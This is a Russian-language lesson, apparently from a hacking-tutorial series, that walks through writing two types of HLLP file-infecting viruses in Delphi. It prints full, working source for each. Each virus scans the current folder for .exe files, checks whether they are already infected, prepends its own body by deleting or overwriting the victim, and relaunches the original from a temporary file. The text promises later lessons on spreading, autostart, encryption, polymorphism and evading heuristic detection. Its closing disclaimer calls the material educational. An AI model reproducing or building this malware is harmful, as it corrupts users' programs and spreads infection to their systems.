Оба типа вирусов состоят из следующих основных частей: 1) Процедура переноса данных (CopyData) 2) Процедура заражения (Infect) 3) Функция проверки заражённости (CheckInfect) 4) Процедура запуска жертвы (InRun) 5) Поиск жертв – основная часть
Сначала реализуем первый тип вируса, его алгоритм следующий: 1) Находим жертву 2) Проверяем зараженность – если заражен – ищем дальше, если нет – заражаем. 3) Заражение . а) Создаём временный файл . б) Копируем тело виря во временный файл . в) Копируем в конец временного файла тело жертвы . г) Удаляем жертву . д) Переименуем себя в имя жертвы 4) После выхода из поиска запускаем из себя жертву . а) Проверяем свой размер – . б) Если больше VirSize – то извлекаем из себя жертву во временный файл . в) Запускаем жертву 5) Завершаем работу.
. В общем-то, то же самое что и в паскале. Начнём мы разбираться с процедуры проверки заражённости CheckInfect – эта процедура единая для обоих типов вирусов, её сорец, смело наблюдаем ниже: function CheckInfect(path : string):boolean; //Функция проверки зараженности - получает путь к файлу //возвращает True - если не заражено false - если нет const SignSize = 64;//Размер сигнатуры SignPos = 666;//Позиция начала сигнатуры type Bufer = array [1..SignSize] of char;//Буфер сигнатуры var F1 : file; F2 : file; FM : word; SignBuf : Bufer; VictBuf : Bufer; begin FM:=FileMode;//сохраняем FileMode FileMode:=0;//Режим работы с файлом - только чтение AssignFile(F1, Paramstr(0));//Ассоциируем F1 с путём к себе AssignFile(F2, path);//Ассоциируем F2 с путём к жертве Reset(F1,1);//Открываем себя Reset(F2,1);//Открываем жертву seek(F1,SignPos);//Переходим в себе на позиция сигнатуры seek(F2,SignPos);//Переходим в жертве на позиция сигнатуры BlockRead(F1,SignBuf,SignSize);//Читаем в себе сигнатуру BlockRead(F2,VictBuf,SignSize);//Читаем в жертве сигнатуру if SignBuf<>VictBuf//Сравниваем сигнатуры then Result:=true //Если не равны - true else Result:=false;// Если не равны - false CloseFile(F1);//Закрываем себя CloseFile(F2);//Закрываем жертву FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру end;
. Я думаю, что сходства с паскальным аналогом этой процедуры, просто очевидны, как и раньше мы просто считываем буфер из произвольного места виря и того же места в жертве – если не равно, значит true – наш клиент!! Единственное я увеличил размер буфера с 8 до 64 байт, по той причине, что в виндячих приложения (неупакованных) слишком много нулей и вероятность что в себе выбранное место окажется 00000000 и в жертве тоже – просто великая!! А 64 нуля подряд не так и просто найти. А вообще наиболее надёжный вариант – это после создания ехе заглянуть в него хексом и выбрать позиция начала буфера – SignPos где-то в «забористом» месте. Теперь рассмотрим процедуру CopyData – её существование в вирусе, значительно оптимизирует исходник, уменьшая его размер раза в два. Её назначение, как я уже отмечал – перенос фрагмента данных из одного файла в другой (или в пределах одного файла – это не имеет значение). Вот эта замечательная процедура, для этого типа виря: Procedure CopyData(FromF,ToF:string; FromPos,ToPos,Count:integer;rw:boolean); //Процедура переноса данных из одного файла в другой //FromF - путь к файлу источнику //ToF - путь к файлу приёмнику //FromPos - позиция начала чтения в файле источнике //ToPos - позиция начала чтения в файле приёмнике //Count - количество считываемых байт //rw - если True - то файл приёмник надо перезаписать (создать), если false - открыть var F : file; NR : integer; FM : word; //Переменная для сохранения FileMode Buf : array [1..999999] of byte; //Буфер begin FM:=FileMode;//сохраняем FileMode FileMode:=0;//Режим работы с файлом - только чтение AssignFile(F, FromF);//Ассоциируем к с путём к файлу источнику Reset(F, 1);//Открываем источник seek(F,FromPos);//Переходим в источнике на позиция чтения if Count=0 then Count:=FileSize(F);//Если Count=0 то читаем весь буфер BlockRead(F, Buf, Count, NR);//Чтаем в буфер CloseFile(F);//Закрываем источник FileMode:=2;//Режим работы с файлом - только запись AssignFile(F, ToF);//Ассоциируем с путём к файлу приёмнику if rw then Rewrite(F, 1)//Открытие с перезаписью else Reset(F, 1);//Открытие с перезаписью if FileSize(F)<>0 then seek(F,ToPos); //Если не равно 0 то переходим в файле приёмнике на заданную позицию BlockWrite(F, Buf, NR);//Пишем буфер CloseFile(F); //Закрываем файл приёмник FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру end;
. Такова, уж, головнячность работы с файлами в Delphi и от этого ни куда не уйти (конечно, если юзнуть API то об этих мелочах можно забыть, но в этом уроке мы пишем в чистом Delphi). . Без лишних отступлений переходим к процедуре заражения (Infect), её назначение я думаю уже и так понятно. А её работа выше рассмотрена, да и комментариев в исходнике, я как обычно, не жалел. Смотрим и соображаем: Procedure Infect(path:string);//Процедура заражения - получает путь к жертве var sr : TSearchRec;//Поисковая переменная F : File; begin findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указаном пути if (SR.Size>VirSize) or (SR.Size<999999) then //Если размер больше VirSize, но меньше 999999 - заражаем begin CopyData(paramstr(0),TmpName,0,0,VirSize,true);//Копируем тело виря во временный файл CopyData(path,TmpName,0,VirSize,0,false);//Дописываем жертву в конец временного файла DeleteFile(PChar(path));//Удаляем жертву AssignFile(F,TmpName);//Ассоциируем F с путём к временному файлу Rename(F,path);//Переименуем временный файл в имя жертвы end; end;
. Как видите использование процедуры CopyData делает из функцию по сути и реализации элементарной, жаль, что подобием этой функции, дядя Билли не балует нас в своих наборах системных API. Да Бог с ним, с Биллом, переходим дальше. . Переходим к процедуре запуска жертвы (InRun). Тут так же всё вполне понятно рассосано и очень просто. function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external 'kernel32.dll' name 'WinExec'; //Импортируем из библиотеки kernel32 функцию winexec - можно конечно вместо этого подключить модуль WINDOWS... Procedure InRun; //Процедура запуска жертвы var sr : TSearchRec;//Поисковая переменная begin findfirst(paramstr(0),faAnyFile-faDirectory,SR);//Находим путь к себе if SR.Size>VirSize then //Если наш размер более VirSize - значит вирь запущен из жертвы.. begin CopyData(paramstr(0),TmpName,VirSize,0,0,true);//Копируем из себя жертву во временый файл winexec(TmpName,1);{запускаем жертву, если она есть} end; end;
. Единственным, на первый взгляд, необычным моментом этой процедуры, является – импорт функции winexec из kernel32.dll, но если вы читали урок 4, в котором описано как импортировать функции из системы, для вас это не составит проблем. В целом, если подключить модуль windows к проекту, необходимость в импорте пропадёт, но зачем нам лишний модуль, пора уже учиться избавляться от всего лишнего. В целом любой толковый (в нашем случае теоретический) вирусописатель, должен всегда думать о размере своего творения, хотя многие говорят, что при современных объёмах хардов – это неактуально… Короче не хочу я их переубеждать ибо они нули и не понимают в этом ни чего… Ой, что-то я отвлёкся, продолжим рассмотрение этого типа вирусов. . Ниже я приведу полный исходник вируса этого типа, т.о. коллекция нашего совместного труда пополнится новым достижением, а дальше мы без особой раскачки перемоем кости второму типу HLLP вирей: program VirusHLLP1_execom; {xakep.su} uses sysutils;
const VirSize = 44032;{22073 - размер после упаковки FSG}//Размер вируса TmpName = '$$$.exe';
function CheckInfect(path : string):boolean; //Функция проверки зараженности - получает путь к файлу //возвращает True - если не заражено false - если нет const SignSize = 64;//Размер сигнатуры SignPos = 666;//Позиция начала сигнатуры type Bufer = array [1..SignSize] of char;//Буфер сигнатуры var F1 : file; F2 : file; FM : word; SignBuf : Bufer; VictBuf : Bufer; begin FM:=FileMode;//сохраняем FileMode FileMode:=0;//Режим работы с файлом - только чтение AssignFile(F1, Paramstr(0));//Ассоциируем F1 с путём к себе AssignFile(F2, path);//Ассоциируем F2 с путём к жертве Reset(F1,1);//Открываем себя Reset(F2,1);//Открываем жертву seek(F1,SignPos);//Переходим в себе на позиция сигнатуры seek(F2,SignPos);//Переходим в жертве на позиция сигнатуры BlockRead(F1,SignBuf,SignSize);//Читаем в себе сигнатуру BlockRead(F2,VictBuf,SignSize);//Читаем в жертве сигнатуру if SignBuf<>VictBuf//Сравниваем сигнатуры then Result:=true //Если не равны - true else Result:=false;// Если не равны - false CloseFile(F1);//Закрываем себя CloseFile(F2);//Закрываем жертву FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру end;
Procedure CopyData(FromF,ToF:string; FromPos,ToPos,Count:integer;rw:boolean); //Процедура переноса данных из одного файла в другой //FromF - путь к файлу источнику //ToF - путь к файлу приёмнику //FromPos - позиция начала чтения в файле источнике //ToPos - позиция начала чтения в файле приёмнике //Count - количество считываемых байт //rw - если True - то файл приёмник надо перезаписать (создать), если false - открыть var F : file; NR : integer; FM : word; //Переменная для сохранения FileMode Buf : array [1..999999] of byte; //Буфер begin FM:=FileMode;//сохраняем FileMode FileMode:=0;//Режим работы с файлом - только чтение AssignFile(F, FromF);//Ассоциируем к с путём к файлу источнику Reset(F, 1);//Открываем источник seek(F,FromPos);//Переходим в источнике на позиция чтения if Count=0 then Count:=FileSize(F);//Если Count=0 то читаем весь буфер BlockRead(F, Buf, Count, NR);//Чтаем в буфер CloseFile(F);//Закрываем источник FileMode:=2;//Режим работы с файлом - только запись AssignFile(F, ToF);//Ассоциируем с путём к файлу приёмнику if rw then Rewrite(F, 1)//Открытие с перезаписью else Reset(F, 1);//Открытие с перезаписью if FileSize(F)<>0 then seek(F,ToPos); //Если не равно 0 то переходим в файле приёмнике на заданную позицию BlockWrite(F, Buf, NR);//Пишем буфер CloseFile(F); //Закрываем файл приёмник FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру end;
Procedure Infect(path:string);//Процедура заражения - получает путь к жертве var sr : TSearchRec;//Поисковая переменная F : File; begin findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указаном пути if (SR.Size>VirSize) or (SR.Size<999999) then //Если размер больше VirSize, но меньше 999999 - заражаем begin CopyData(paramstr(0),TmpName,0,0,VirSize,true);//Копируем тело виря во временный файл CopyData(path,TmpName,0,VirSize,0,false);//Дописываем жертву в конец временного файла DeleteFile(PChar(path));//Удаляем жертву AssignFile(F,TmpName);//Ассоциируем F с путём к временному файлу Rename(F,path);//Переименуем временный файл в имя жертвы end; end;
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external 'kernel32.dll' name 'WinExec'; //Импортируем из библиотеки kernel32 функцию winexec - можно конечно вместо этого подключить модуль WINDOWS... Procedure InRun; //Процедура запуска жертвы var sr : TSearchRec;//Поисковая переменная begin findfirst(paramstr(0),faAnyFile-faDirectory,SR);//Находим путь к себе if SR.Size>VirSize then //Если наш размер более VirSize - значит вирь запущен из жертвы.. begin CopyData(paramstr(0),TmpName,VirSize,0,0,true);//Копируем из себя жертву во временый файл winexec(TmpName,1);{запускаем жертву, если она есть} end; end;
var FR : INTEGER; sr:tsearchrec;{Поисковые переменные} begin //Основная часть DeleteFile(TmpName);//На всякий случай удаляем временный файл FR:=FindFirst('*.exe',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением} while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов} begin if CheckInfect(SR.Name) then//Если жертва не заражена то.. infect(SR.Name);//Заражаем жертву FR:=findnext(SR);{ищем следующий} end; InRun;{по окончанию поиска, запускаем жертву, если она есть} end.
Ну что, уважаемые, бдительные нелюбители 273 статьи нашего драгоценного уголовного кодекса, посмотрели исходник? Продолжаем…
Плавненько, но решительно переходим к рассмотрению второго типа HLLP вируса. Алгоритм его работы не многим отличается от предыдущего, в отличии от паскального и имеет следующий вид: 1) Находим жертву 2) Проверяем зараженность – если заражен – ищем дальше, если нет – заражаем. 3) Заражение . а) Копируем у жертвы из начала кусок данный размером VirSize . б) Переходим в конец жертвы. Дописываем скопированный кусок. . в) Копируем с перезаписью на место первых VirSize байт жертвы тело вируса. 4) После выхода из поиска запускаем из себя жертву . а) Проверяем свой размер – . б) Если больше VirSize – то извлекаем из себя сначала первый фрагмент жертвы из конца во временный файл, а затем второй фрагмент идущий от VirSize-ного байта с начала до VirSize-ного байта с конца.. Вроде ни чего не перепутал.. Т.о. жертва восстановлена во временном файле. . в) Запускаем жертву 5) Завершаем работу. . Как видите всё достаточно просто, поэтому преступаем к рассмотрению девиантных (отличающихся) моментов этого типа виря. . Функция CheckInfect, как я уже говорил, идентична с первым типом. Процедура CopyData отличается некоторыми, специально-заточенными условиями, необходимыми этому типу, а в целом очень похожа, вот её исполнение: Procedure CopyData(FromF,ToF:string; FromPos,ToPos,Count:integer;rw:boolean); //Процедура переноса данных из одного файла в другой //FromF - путь к файлу источнику //ToF - путь к файлу приёмнику //FromPos - позиция начала чтения в файле источнике //ToPos - позиция начала чтения в файле приёмнике //Count - количество считываемых байт //rw - если True - то файл приёмник надо перезаписать (создать), если false - открыть var F : file; NR : integer; FM : word; //Переменная для сохранения FileMode Buf : array [1..999999] of byte; //Буфер begin FM:=FileMode;//сохраняем FileMode FileMode:=0;//Режим работы с файлом - только чтение AssignFile(F, FromF);//Ассоциируем к с путём к файлу источнику Reset(F, 1);//Открываем источник if FromPos=1 then FromPos:=FileSize(F)-VirSize;//Если 1 то переходим на VirSize байт с конца seek(F,FromPos);//Переходим в источнике на позиция чтения if Count=0 then Count:=FileSize(F); //Если Count=0 то читаем весь файл до конца if Count=1 then Count:=FileSize(F)-VirSize; //Если Count=1 то читаем файл с заданой позиции до VirSize байта с конца BlockRead(F, Buf, Count, NR);//Читаем в буфер CloseFile(F);//Закрываем источник FileMode:=2;//Режим работы с файлом - только запись AssignFile(F, ToF);//Ассоциируем с путём к файлу приёмнику if rw then Rewrite(F, 1)//Открытие с перезаписью else Reset(F, 1);//Открытие с перезаписью if ToPos>0 then //Если ,больше 0 то переходим в файле приёмнике на заданную позицию begin if ToPos=1 then ToPos:=FileSize(F);//Если 1 то переходим в конец файла seek(F,ToPos);//Переход на позицию в файле end; BlockWrite(F, Buf, NR);//Пишем буфер CloseFile(F); //Закрываем файл приёмник FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру end;
. Если читали коменты и мозг с утра стоит парадный, то думаю, всё ясно!! . Процедура заражения и запуска ,так же, как и у предыдущего пациента, весьма сильно завязаны на применении процедуры CopyData привожу обе процедуры одним махом, смотрим и удивляемся! Процедура Infect для второго типа HLLP вируса: Procedure Infect(path:string);//Процедура заражения - получает путь к жертве var sr : TSearchRec;//Поисковая переменная begin findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указанном пути if (SR.Size>VirSize) and (SR.Size<999999) then //Если размер больше VirSize, но меньше 999999 - заражаем begin CopyData(path, path,0,1,VirSize,false);//Копируем фрагмент жертвы в конец CopyData(paramstr(0),path,0,0,VirSize,false);//Перезаписываем вирусом начало жертвы end; end;
Процедура InRun для второго типа HLLP вируса: function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external 'kernel32.dll' name 'WinExec'; //Импортируем из библиотеки kernel32 функцию winexec - можно конечно вместо этого подключить модуль WINDOWS... Procedure InRun; //Процедура запуска жертвы var sr : TSearchRec;//Поисковая переменная begin findfirst(paramstr(0),faAnyFile-faDirectory,SR);//Находим путь к себе if SR.Size>VirSize then //Если наш размер более VirSize - значит вирь запущен из жертвы.. begin CopyData(paramstr(0),TmpName,1,0,VirSize,true); //Копируем из себя первый фрагмент жертвы переносимый в конец при заражении во временный файл с его созданием CopyData(paramstr(0),TmpName,VirSize,1,1,false); //Копируем из себя копируем из себя второй фрагмент жертвы и дописываем его в конец первого winexec(TmpName,1);{запускаем жертву, если она есть} end; end;
Ну что, всё ясно?? Теперь переходим ко второму сегодняшнему прянику, а именно к полному исходнику второго типа HLLP вируса, я надеюсь, не сильно вас сегодня перегрузил информацией? Желательно осваивать статью не на слух и вид, а только лишь на практике, тогда всё то что, я здесь распинаюсь, дойдёт, до вашего осознания.. Вот исходничек: program VirusHLLP2_execom; {xakep.su} uses sysutils;
const VirSize = 44032;{21997 - размер после упаковки FSG}//Размер вируса TmpName = '$$$.exe';
function CheckInfect(path : string):boolean; //Функция проверки зараженности - получает путь к файлу //возвращает True - если не заражено false - если нет const SignSize = 64;//Размер сигнатуры SignPos = 666;//Позиция начала сигнатуры type Bufer = array [1..SignSize] of char;//Буфер сигнатуры var F1 : file; F2 : file; FM : word; SignBuf : Bufer; VictBuf : Bufer; begin FM:=FileMode;//сохраняем FileMode FileMode:=0;//Режим работы с файлом - только чтение AssignFile(F1, Paramstr(0));//Ассоциируем F1 с путём к себе AssignFile(F2, path);//Ассоциируем F2 с путём к жертве Reset(F1,1);//Открываем себя Reset(F2,1);//Открываем жертву seek(F1,SignPos);//Переходим в себе на позиция сигнатуры seek(F2,SignPos);//Переходим в жертве на позиция сигнатуры BlockRead(F1,SignBuf,SignSize);//Читаем в себе сигнатуру BlockRead(F2,VictBuf,SignSize);//Читаем в жертве сигнатуру if SignBuf<>VictBuf//Сравниваем сигнатуры then Result:=true //Если не равны - true else Result:=false;// Если не равны - false CloseFile(F1);//Закрываем себя CloseFile(F2);//Закрываем жертву FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру end;
Procedure CopyData(FromF,ToF:string; FromPos,ToPos,Count:integer;rw:boolean); //Процедура переноса данных из одного файла в другой //FromF - путь к файлу источнику //ToF - путь к файлу приёмнику //FromPos - позиция начала чтения в файле источнике //ToPos - позиция начала чтения в файле приёмнике //Count - количество считываемых байт //rw - если True - то файл приёмник надо перезаписать (создать), если false - открыть var F : file; NR : integer; FM : word; //Переменная для сохранения FileMode Buf : array [1..999999] of byte; //Буфер begin FM:=FileMode;//сохраняем FileMode FileMode:=0;//Режим работы с файлом - только чтение AssignFile(F, FromF);//Ассоциируем к с путём к файлу источнику Reset(F, 1);//Открываем источник if FromPos=1 then FromPos:=FileSize(F)-VirSize;//Если 1 то переходим на VirSize байт с конца seek(F,FromPos);//Переходим в источнике на позиция чтения if Count=0 then Count:=FileSize(F); //Если Count=0 то читаем весь файл до конца if Count=1 then Count:=FileSize(F)-VirSize; //Если Count=1 то читаем файл с заданной позиции до VirSize байта с конца BlockRead(F, Buf, Count, NR);//Читаем в буфер CloseFile(F);//Закрываем источник FileMode:=2;//Режим работы с файлом - только запись AssignFile(F, ToF);//Ассоциируем с путём к файлу приёмнику if rw then Rewrite(F, 1)//Открытие с перезаписью else Reset(F, 1);//Открытие с перезаписью if ToPos>0 then //Если ,больше 0 то переходим в файле приёмнике на заданную позицию begin if ToPos=1 then ToPos:=FileSize(F);//Если 1 то переходим в конец файла seek(F,ToPos);//Переход на позицию в файле end; BlockWrite(F, Buf, NR);//Пишем буфер CloseFile(F); //Закрываем файл приёмник FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру end;
Procedure Infect(path:string);//Процедура заражения - получает путь к жертве var sr : TSearchRec;//Поисковая переменная begin findfirst(path,faAnyFile-faDirectory,SR); //Ищем файл жертвы в указанном пути if (SR.Size>VirSize) and (SR.Size<999999) then //Если размер больше VirSize, но меньше 999999 - заражаем begin CopyData(path, path,0,1,VirSize,false);//Копируем фрагмент жертвы в конец CopyData(paramstr(0),path,0,0,VirSize,false);//Перезаписываем вирусом начало жертвы end; end;
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external 'kernel32.dll' name 'WinExec'; //Импортируем из библиотеки kernel32 функцию winexec - можно конечно вместо этого подключить модуль WINDOWS... Procedure InRun; //Процедура запуска жертвы var sr : TSearchRec;//Поисковая переменная begin findfirst(paramstr(0),faAnyFile-faDirectory,SR);//Находим путь к себе if SR.Size>VirSize then //Если наш размер более VirSize - значит вирь запущен из жертвы.. begin CopyData(paramstr(0),TmpName,1,0,VirSize,true); //Копируем из себя первый фрагмент жертвы переносимый в конец при заражении во временый файл с его созданием CopyData(paramstr(0),TmpName,VirSize,1,1,false); //Копируем из себя копируем из себя второй фрагмент жертвы и дописываем его в конец первого winexec(TmpName,1);{запускаем жертву, если она есть} end; end;
var FR : INTEGER; sr:tsearchrec;{Поисковые переменные} begin //Основная часть DeleteFile(TmpName);//На всякий случай удаляем временный файл FR:=FindFirst('*.exe',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением} while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов} begin if CheckInfect(SR.Name) then//Если жертва не заражена то.. infect(SR.Name);//Заражаем жертву FR:=findnext(SR);{ищем следующий} end; InRun;{по окончанию поиска, запускаем жертву, если она есть} end.
. Вот и получили, то к чему шли.. Как я думаю, вы догадываетесь, на следующем уроке будем делать то же, что и на этим и предыдущем уроках, только на microDelphi. А что дальше? – скажите вы! Дальше мы будем учиться делать настоящие вирусы, а имено будем учиться, размножать вирусы за пределами своей папки, методам автозагрузки, шифрованию себя и жертвы, полиморфности, вампиризму, техникам обхода систем эвристического контроля и многому, многому другому. Далее мы будем осваивать всю гамму файлово-вирусной заразы, на ассемблере, а затем перейдем к такому же исследованию остальных видов угроз. Так же, на протяжении всего этого времени, мы будем четко понимать и не забывать, что всё это только лишь для развлечения, забавы и обучения, а так же защиты себя, но вовсе не для разрушения, не будьте вандалами – это плохо!!!
xakep.su
|